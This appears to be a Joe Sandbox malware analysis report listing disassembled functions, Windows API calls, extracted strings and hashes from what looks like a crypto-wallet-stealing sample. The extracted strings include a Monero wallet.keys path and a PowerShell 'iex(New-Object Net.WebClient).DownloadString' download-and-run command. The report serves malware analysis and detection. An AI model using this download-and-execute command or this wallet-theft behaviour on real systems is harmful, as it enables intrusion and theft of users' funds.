Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 98472ae6bf08d12e18e661975b0dd9b5caafcb7e3d0285415ae202c1109a1681
Instruction ID: 627d6f8b03daee68f5575d5ab47b16502a773224f7034ebbc0009a0e53f61e19
Opcode Fuzzy Hash: 98472ae6bf08d12e18e661975b0dd9b5caafcb7e3d0285415ae202c1109a1681
Instruction Fuzzy Hash: C40144B9A40308BBDB00EFE0DC4AFBEBBB8EB48701F004158FA05A7281D7749524CB55

Function 002792E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:',80000000,00000003,00000000,00000003,00000080,00000000,?,00273AEE,?), ref: 002792FC
GetFileSizeEx.KERNEL32(000000FF,:'), ref: 00279319
CloseHandle.KERNEL32(000000FF), ref: 00279327

Strings

:', xrefs: 00279311, 0027933D, 00279314
:', xrefs: 002792F8, 002792FB

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :'$:'
API String ID: 1378416451-956700391
Opcode ID: 46fc8803e2822563a23b04457b6b9e037c8d9f572b234f600db5f112a054fec5
Instruction ID: 33522cf6460f9ffdc9f750dc6cfd5451a17700dba72f92f4930900baf07ece01
Opcode Fuzzy Hash: 46fc8803e2822563a23b04457b6b9e037c8d9f572b234f600db5f112a054fec5
Instruction Fuzzy Hash: 0AF08C38E50308BBDB10DFB0DC08BAE7BB9AB48310F10C2A4B655AB2C0D6749650CF44

Function 002699C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002699EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00269A11
LocalAlloc.KERNEL32(00000040,?), ref: 00269A31
ReadFile.KERNEL32(000000FF,?,00000000,0026148F,00000000), ref: 00269A5A
LocalFree.KERNEL32(0026148F), ref: 00269A90
CloseHandle.KERNEL32(000000FF), ref: 00269A9A

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 0cb65b922559d3346ab37031a38da8ecaea8fe56f1a54e1a77d3123266bd72ed
Instruction ID: f104c03d807fe9996d4528c5f49505745e2dcf374da18dbcc6ae3f2dfd2dea32
Opcode Fuzzy Hash: 0cb65b922559d3346ab37031a38da8ecaea8fe56f1a54e1a77d3123266bd72ed
Instruction Fuzzy Hash: 30311A74A10209EFDB14CF94C885BAE7BF9FF49310F108158E911AB290DB75AD91CFA1

Function 0027C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 0027C8BF
___crtGetStringTypeA.LIBCMT ref: 0027C8EC
___crtLCMapStringA.LIBCMT ref: 0027C90C
___crtLCMapStringA.LIBCMT ref: 0027C931

Strings

, xrefs: 0027C896

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: da414bbec8f8e7f0bc410b61f5dd3c26cda7c1e3dc5037046cbea686f84ecb19
Instruction ID: 245fdf78dc892428f7433a5a58333584c2fb9c6a8f4fd08577a171022057ebc0
Opcode Fuzzy Hash: da414bbec8f8e7f0bc410b61f5dd3c26cda7c1e3dc5037046cbea686f84ecb19
Instruction Fuzzy Hash: 6341C6B151075C9EDB228B34CC85BFBBBED9F45704F2484ECEA8E86182D2719A548F60

Function 00274780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00E2E4D8), ref: 002747DB

Part of subcall function 00278DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00278E0B

lstrcat.KERNEL32(?,00000000), ref: 00274801
lstrcat.KERNEL32(?,?), ref: 00274820
lstrcat.KERNEL32(?,?), ref: 00274834
lstrcat.KERNEL32(?,00E1B8F8), ref: 00274847
lstrcat.KERNEL32(?,?), ref: 0027485B
lstrcat.KERNEL32(?,00E2DC30), ref: 0027486F

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 00278D90: GetFileAttributesA.KERNEL32(00000000,?,00261B54,?,?,0028564C,?,?,00280E1F), ref: 00278D9F

Part of subcall function 00274570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00274580
Part of subcall function 00274570: RtlAllocateHeap.NTDLL(00000000), ref: 00274587
Part of subcall function 00274570: wsprintfA.USER32 ref: 002745A6
Part of subcall function 00274570: FindFirstFileA.KERNEL32(?,?), ref: 002745BD

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 05edfd54478b468dee208fd8e0ce94acd17702dc2eceb6e61946eb7685b3d5f2
Instruction ID: 5069c16020899784b404aaec1bf02f8b7c6ca39bc9f7fdbf56541ee200ba1d6c
Opcode Fuzzy Hash: 05edfd54478b468dee208fd8e0ce94acd17702dc2eceb6e61946eb7685b3d5f2
Instruction Fuzzy Hash: BD3196B295020897CB50FBB0DC89EED777CBB58700F408599B31996081EF749799CF96

Function 00272C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

ShellExecuteEx.SHELL32(0000003C), ref: 00272D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00272D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00272CC4
<, xrefs: 00272D39
')", xrefs: 00272CB3

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: dc2452cf86762aa1b86a19e79470f7270af6814d675ab1fbe162e7e0e123d679
Instruction ID: 524631feded82730aa5144b61ed98c628e879476bdebd7a331da6aad6ad26e91
Opcode Fuzzy Hash: dc2452cf86762aa1b86a19e79470f7270af6814d675ab1fbe162e7e0e123d679
Instruction Fuzzy Hash: 2E41C371C20108DADB18FFA0C896FDEBB74AF54310F408129F11AA7191DF746A6ACF96

Function 00269E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00269F41

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00269E67
v10, xrefs: 00269EA3
v20, xrefs: 00269E21
@, xrefs: 00269EF1

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 75f2ccc8a61d183f5e90e3f9b963d0cfef900f637d508d57089626f72d50a4ed
Instruction ID: c2db6fed363d0c6d9b901a3dd92026445f8a0480196c7610b88ffed16dc16b38
Opcode Fuzzy Hash: 75f2ccc8a61d183f5e90e3f9b963d0cfef900f637d508d57089626f72d50a4ed
Instruction Fuzzy Hash: F8616271A20208DBDB18EFA4CC96FEEB775AF84304F008118F90A5F181DB746A65CF52

Function 002770D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

memset.MSVCRT ref: 0027716A

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0027718C
s', xrefs: 00277111
s', xrefs: 002772AE, 00277179, 0027717C

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: s'$s'$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-3815180687
Opcode ID: f28ec73ef48e6570e7fe39987b43a4da9370e123205f9ef27de61f3bcf6d0a2c
Instruction ID: 94f06e96cb9574b61a170cc87be0826e259ecadf428be8ea7a03aa4918f8a844
Opcode Fuzzy Hash: f28ec73ef48e6570e7fe39987b43a4da9370e123205f9ef27de61f3bcf6d0a2c
Instruction Fuzzy Hash: 9251B0B0D242199BDB14EF90DC81BEEB374AF44304F5081A8E61D77182EB746E98CF69

Function 00277E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00277E37
RtlAllocateHeap.NTDLL(00000000), ref: 00277E3E
RegOpenKeyExA.ADVAPI32(80000002,00E1C4A0,00000000,00020119,?), ref: 00277E5E
RegQueryValueExA.ADVAPI32(?,00E2D9B0,00000000,00000000,000000FF,000000FF), ref: 00277E7F
RegCloseKey.ADVAPI32(?), ref: 00277E92

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 92dd7390578d2081df347c8cd6f7d72ffafa7631cee8f49f85546ef17603349a
Instruction ID: 815b8c06b774bb8a32f1fbf544e440726339ae325fe790860809d99c9d3050bf
Opcode Fuzzy Hash: 92dd7390578d2081df347c8cd6f7d72ffafa7631cee8f49f85546ef17603349a
Instruction Fuzzy Hash: 7711A0B1A54205EBD700DF94DD4AFBBBBB8FB09B00F108129F605A7280D7B85814CBA1

Function 00279260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00E2E0D0,?,?,?,0027140C,?,00E2E0D0,00000000), ref: 0027926C
lstrcpyn.KERNEL32(004AAB88,00E2E0D0,00E2E0D0,?,0027140C,?,00E2E0D0), ref: 00279290
lstrlen.KERNEL32(?,?,0027140C,?,00E2E0D0), ref: 002792A7
wsprintfA.USER32 ref: 002792C7

Strings

%s%s, xrefs: 002792B5

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 1d64c54dc8a952b47b2f5a4c146ac16c13673a7f089f011cf467badc1d4ca19a
Instruction ID: a02144a7e15050e1bcab0f925863a307fd0fe93bc44385dec298faa1962749ad
Opcode Fuzzy Hash: 1d64c54dc8a952b47b2f5a4c146ac16c13673a7f089f011cf467badc1d4ca19a
Instruction Fuzzy Hash: F7011E75500208FFCB04DFECC988EAE7BB9EB49350F108158F9098B241C735EA60DBA6

Function 002612A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002612B4
RtlAllocateHeap.NTDLL(00000000), ref: 002612BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 002612D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 002612F5
RegCloseKey.ADVAPI32(?), ref: 002612FF

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
